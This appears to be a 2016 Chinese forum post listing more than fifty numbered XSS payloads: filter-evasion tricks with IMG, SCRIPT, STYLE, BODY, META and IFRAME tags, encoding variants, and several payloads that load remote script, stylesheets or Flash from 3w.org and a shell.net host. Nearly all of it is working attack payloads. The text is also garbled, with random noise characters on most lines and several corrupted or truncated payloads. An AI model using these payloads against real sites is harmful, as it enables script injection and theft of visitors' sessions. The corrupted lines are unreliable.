(1)普通的XSS JavaScript注入
/ ~) B" X! f/ J<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
! b+ g% i; k I2 B' k(99)另类弹框" R9 u( f( B) N0 R$ {, h. ]4 ^
<q/oncut=alert()>1 W) Z! Y1 k8 f2 B" R4 g+ ^0 _
<s/onclick=alert()>b
2 \1 U( h5 Y4 E# A! E& a <XSS=" onclick="alert(1)//">clickme</SSX=">4 d6 W. k: @: Z) w
<zzz onclick=alert`1`>clickme</zzz> 2 S, F# S, |! x9 D( L! C# ^0 E& Q
<a onclick=alert`1`>clickme</a>
! H Q' ^) q R3 I5 M$ X<a=">clickme</a=">4 Q/ X* P* k- Y6 R+ L: R) c& }
<a=">clickme</a>4 K+ O' D! G. B
<z=">clickme</z=">! W7 o T5 x [9 I5 }0 T. |; B
<z onclick=alert`1`>clickme</z>& c8 |, W8 m0 r' @
# ?: C0 @" \, {; L) @* d1 Q# D
(2)IMG标签XSS使用JavaScript命令0 Y6 B- L; C1 w; _' ]* D( |: r
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
/ I, T Q7 H# t3 Z
& _. k/ J* p- d* `(3)IMG标签无分号无引号
3 d( E+ z" c j: V! B<IMG SRC=javascript:alert(‘XSS’)>! E, Z4 n, Q. T1 R# z2 e
# q6 m- B8 i$ w# a( f- {2 |
(4)IMG标签大小写不敏感
# v$ Z! Q3 | S1 Y: d/ b<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
: ?* n' }; n8 e4 }( i' c# {7 q9 F U ^: q5 {" v/ `
(5)HTML编码(必须有分号)0 x* o1 b4 O/ D7 R8 Q
<IMG SRC=javascript:alert(“XSS”)>
) L+ I8 y1 H7 P. A$ b# T! z5 t1 I, i# K
(6)修正缺陷IMG标签, e; u0 X; u4 Q3 _
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>/ [% `9 ?6 ?: \1 B* H
" W) Y4 T- Q2 _ q) j' I Q0 H
(7)formCharCode标签(计算器)! z, E, m# ?. P. x) x* K
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))># m7 S+ e8 g8 ?5 U% k
/ j/ ], ^+ t! @! i4 T! R: z- A
(8)UTF-8的Unicode编码(计算器)- d" r0 ~# B: b# P+ x
<IMG SRC=jav..省略..S')> e( \' g9 W! c6 b- t6 b; @8 U
( s ?% u4 [* O; ]% A(9)7位的UTF-8的Unicode编码是没有分号的(计算器)) J$ j. _. F7 t
<IMG SRC=jav..省略..S')>. T2 ~: r9 a" p) J4 X
9 q9 C5 `1 P1 {/ k$ K(10)十六进制编码也是没有分号(计算器)9 k; }9 y5 W; k; t
<IMG SRC=\'#\'" /span>% g, d' ~8 k$ u& |/ d8 I, F6 d
+ ?" u! b l; z8 O, U* k! h5 N% W8 ]" Q
(11)嵌入式标签,将Javascript分开
# I6 j+ A, `) s0 O<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
, n) |: |/ x: @
' M; G6 a' Q" F3 C( N3 F! V7 W6 P(12)嵌入式编码标签,将Javascript分开
' w4 c( E5 r6 J' _1 J2 X<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
2 A; n- o9 T* \/ a% P. b/ O W1 b2 y' f x$ ]% K/ Q
(13)嵌入式换行符
9 R. f$ r# l- N2 Z2 Q# y<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>1 S% U, b3 r" n P+ `
, p L+ ~$ e/ E" Y5 J) Y8 }(14)嵌入式回车
" }8 R+ w* n" K$ Z' ]1 A2 U! k<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>1 e: p9 u! I; Q3 S* z/ A
8 C L, }, T8 ~* p(15)嵌入式多行注入JavaScript,这是XSS极端的例子
) ?1 B8 \. g' X3 G<IMG SRC=\'#\'" /span>
A: O# ~7 g' T8 s- z" t/ I% t0 V- o
(16)解决限制字符(要求同页面); J: p8 y" X9 S& Q, T
<script>z=’document.’</script>3 U& x; |: Z2 B
<script>z=z+’write(“‘</script>4 S( o9 x# j% y" K( m' x" b
<script>z=z+’<script’</script>2 |& Y% t6 p( M. ]. r1 k
<script>z=z+’ src=ht’</script>, i1 |+ C6 O! t0 l
<script>z=z+’tp://ww’</script>+ r/ \% v7 M5 w: q/ S' Y/ D
<script>z=z+’w.shell’</script>
& d: t- {/ z0 f5 ]" o5 [<script>z=z+’.net/1.’</script>
[& m# f' @* O+ I, F<script>z=z+’js></sc’</script>
1 p( O0 D, f3 t) z<script>z=z+’ript>”)’</script>. D4 R5 C6 j" u
<script>eval_r(z)</script>
$ `& l1 \5 h; s
v" B) W$ C& y! E2 l' q(17)空字符
- W% [& t+ c, R3 T% C) C! |perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out1 k8 g( ?3 k0 K% u8 g0 t0 O+ k
8 R4 Y, _) C% i/ |! ]4 g! ?
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用# L" L4 k: G! k
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
6 T9 X8 o/ m$ m& _+ Y" V# O9 B1 w/ q
(19)Spaces和meta前的IMG标签
- s: H& u9 K9 p; u7 T<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>& j- e& i: x# j, A
* _5 N7 X, D7 j) I+ p
(20)Non-alpha-non-digit XSS
) u/ E6 ?# c! _) z2 C, K<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
4 r9 c, l+ U! T2 i3 E$ b
0 J4 |( b; N4 @(21)Non-alpha-non-digit XSS to 2% h; p5 T+ X. T* w
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>; V5 P& h# w @: a$ K. {2 S
% w {# C) R5 M6 _(22)Non-alpha-non-digit XSS to 3$ O% i: g/ ^* ^1 ], ^, L1 V' M7 S
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
8 |9 c% ]5 n1 m# C! z$ [ _/ t j5 @0 l! A0 g0 S; G: |
(23)双开括号9 \0 ~2 \" q3 h6 [( ^& C+ i
<<SCRIPT>alert(“XSS”);//<</SCRIPT>1 u: c& A3 x. n( R% j! ]; I
. d8 w2 x( C, p \6 o(24)无结束脚本标记(仅火狐等浏览器)4 }7 S& B) \5 ~: ]
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
" f# X/ n/ a# N$ K6 C* i! S- f
2 F& B/ w( W0 n! |% o3 ?(25)无结束脚本标记2
, \( \+ ?- c- a4 U l<SCRIPT SRC=//3w.org/XSS/xss.js>
6 _! t5 O. z6 @& v- }+ f' V
9 ^ F ]5 t$ M1 w(26)半开的HTML/JavaScript XSS; ^( y* A1 | Z% T5 Z$ f
<IMG SRC=\'#\'" /span>
2 Z1 Q4 B5 L5 \, P. v$ Q0 i/ b8 @ V4 G; h7 M/ R: o, [0 e
(27)双开角括号
& Y4 {1 W J( q- o, F<iframe src=http://3w.org/XSS.html <
7 @, V9 S, o( \! Z* X/ j+ K9 S0 C: ?* k2 ]
(28)无单引号 双引号 分号
& \4 |9 t5 `: \+ E' H: }<SCRIPT>a=/XSS/
" j/ ?6 F1 a6 q9 r Jalert(a.source)</SCRIPT>
3 q7 Y6 n" _' i) o" c4 @& i# Y% R* r3 F" E2 G7 \8 R6 X$ O
(29)换码过滤的JavaScript4 G* O( j2 U+ P: T, W1 j$ ^/ g4 b
\”;alert(‘XSS’);//
9 p5 Q" q1 k8 z8 ]2 g9 u1 x( ^8 B: R
(30)结束Title标签
" ]) b. ~9 d J" ?</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
+ \- f! T5 T+ [! H
% {% |7 O& s; \) H5 c/ ~(31)Input Image
" r: X0 }9 J+ R* K<INPUT SRC=\'#\'" /span>; c: ^9 _( [$ b$ ~- w
. f& U" w1 ?1 o$ K6 X( o6 `5 k" r(32)BODY Image
/ M y( P3 [# U1 B; U( j<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
5 V; J4 h% B) O8 t: o; d& Z* R2 p, q3 T
(33)BODY标签; H8 ?! Z% v! h2 a4 h) m
<BODY(‘XSS’)>. _' J2 E# r) B
9 ^+ E8 G6 H6 [& i1 [2 Y
(34)IMG Dynsrc: q8 g0 s; L/ ~8 I
<IMG DYNSRC=\'#\'" /span>
( s! N% I$ Y+ w/ k: W' x& B; L2 q1 D' X7 s( \
(35)IMG Lowsrc
6 O" x: P3 a$ N- }<IMG LOWSRC=\'#\'" /span>
& o$ A8 d: _8 M3 X- M3 ~& h7 z3 a S- O# C! D5 Y7 b+ w
(36)BGSOUND
0 c9 b5 g8 R# O/ {- y' [<BGSOUND SRC=\'#\'" /span>
) L7 e/ P5 h6 c2 V4 k7 A) n3 y7 n; u( H
(37)STYLE sheet! y: X! d$ K( B* _4 G% X
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
( f" D0 x/ l% `% @ R ~2 b+ Q; R% Y' L0 k% r* \
(38)远程样式表. ~. n$ u; D+ n
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>- |0 F" W" u2 C3 |; c
' v% p4 `2 A- t6 ^(39)List-style-image(列表式)( B! c% v% T6 ~6 ~: ]3 P+ D! I
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS' o8 C1 s$ A. n$ v Q7 w, n
0 Z6 I. U& B. i& d# q(40)IMG VBscript6 Z8 }; Y* k' A1 q- }+ d
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
' }- Y* ?# \; I! T& k9 l
1 L3 W) ?9 v$ ]* w a$ F( q" d" T(41)META链接url
8 A6 O) h# N4 q, E8 \. W T# _/ j<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
1 X# E9 ]2 P, G! h5 c# a, @
) d7 v4 A& D+ W9 l" V; `(42)Iframe
0 j& p5 l+ p8 _# p9 i( E<IFRAME SRC=\'#\'" /IFRAME>
5 @8 A* w$ ~& R- v
4 g; K0 ?) c, q! j(43)Frame: X: X3 j2 q' S1 f4 ^. o
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>7 c( K/ j: o. u, D, _5 u0 o
* n s3 B" z6 w
(44)Table1 q' T6 n! ~! a4 S1 V; d! F9 o
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
4 s4 |1 i) q, [ s, L' ^" @+ _: v6 W
- N7 c3 s- U, _0 W* R(45)TD% L7 u: ]; l4 \8 M! i- K
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
8 q# T9 @& [8 \; ]
}! [- X3 I3 ^4 {8 \(46)DIV background-image
# u! T& r. V" f9 I0 F<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
$ a0 L7 w& z% F& t6 v/ ~* H6 O! [9 F+ S7 z
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279) K; d, f1 `+ H: Y7 f/ [
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
: n4 P* X" W9 `, \6 C, _* i5 q1 c1 R
(48)DIV expression8 J5 M7 b/ O9 c3 W: t+ M
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
5 s6 g# y7 I( r/ {+ C5 Q# ]. Z% G/ \0 n6 ?
(49)STYLE属性分拆表达) n: y/ b& y: W
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>- }+ C7 B) R$ B8 g' Z9 b1 f C
# @- y3 ?0 C% S( Y! D- ?5 A' k(50)匿名STYLE(组成:开角号和一个字母开头)
! F( t4 r$ {+ x+ o<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>5 _. U" [' r4 x
0 \) m% O! L+ p- F7 s(51)STYLE background-image
u1 X2 _7 [/ W. [+ {& Z0 `2 W, N<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>9 ]. h f% V6 b5 V8 x0 N! L
9 @& E9 ^0 j2 s5 K9 x
(52)IMG STYLE方式$ t, h2 \; y3 L" D2 c- q
exppression(alert(“XSS”))’>
' P) _! }4 \8 @6 S* O7 }0 r) @, l& e( R" {6 {+ L7 ?
(53)STYLE background
; X. C6 \; l- y8 `. j3 v<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
* j7 Z, _) I5 Y. Y
# Q' F+ r/ @" f7 o9 l0 z; j( q(54)BASE1 @5 ?. i6 B* w! ], [
<BASE HREF=”javascript:alert(‘XSS’);//”>
2 C5 Z4 W& P2 c9 j
# v# a2 O+ M+ U(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
/ Z; D$ w; p, n" F6 J<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>+ G& W, [) t/ S" t! C. g3 _
|
发表于 2016-4-28 10:06:15
收藏
支持
反对